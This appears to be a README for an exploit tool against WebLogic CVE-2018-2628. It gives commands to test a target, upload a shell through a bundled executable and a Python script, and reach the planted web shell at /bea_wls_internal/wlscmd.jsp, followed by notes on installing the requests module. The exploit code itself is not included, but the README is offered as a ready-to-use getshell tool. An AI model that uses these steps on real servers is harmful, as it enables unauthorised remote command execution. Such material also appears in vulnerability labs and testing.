CVE-2018-2628

weblogic getshell

Optimized based on scripts from predecessors to make the code run in Python 3.
Mainly on Windows.

Reference Links

https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md

https://github.com/0xMJ/CVE-2018-2628

weblogic getshell

Test for Vulnerability

python pocweblogic.py your-ip

Upload getshell

"Weblogic GetShell CVE-2018-2628.exe" your-ip port

Exploitation

Python getshell.py

Set shell : http://your-ip:port/bea_wls_internal/wlscmd.jsp

Troubleshooting 1.
If you see:

This is because the requests module is not installed in your Python environment.
Simply run the following command in your terminal:

pip install requests

Make sure to prepend python3 -m to the command if needed, e.g.:

python3 -m pip install requests